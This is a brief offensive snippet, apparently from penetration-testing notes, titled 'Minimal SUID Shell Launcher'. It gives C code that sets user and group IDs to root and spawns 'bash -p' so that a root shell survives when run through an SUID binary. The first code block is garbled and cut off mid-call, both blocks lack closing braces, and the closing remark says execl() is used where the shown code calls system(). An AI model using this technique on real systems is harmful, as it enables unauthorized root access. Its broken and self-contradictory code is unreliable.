Minimal SUID Shell Launcher

#include <stdio.h>
#include <unistd.h>

main() {
	      (char*) NULL);

Alternate approach:

#include <stdio.h>
#include <time.h>

main() {
	setresuid(0, 0, 0);
	setregid(0, 0, 0);
	system("/bin/bash -p");
	return 0;

Once compiled, this needs to be called by an SUID binary. The -p is required to keep bash from dropping privileges.

Note that this is very similar to the LD_PRELOAD trick, except that we’re using execl() instead of system() and dropping a header.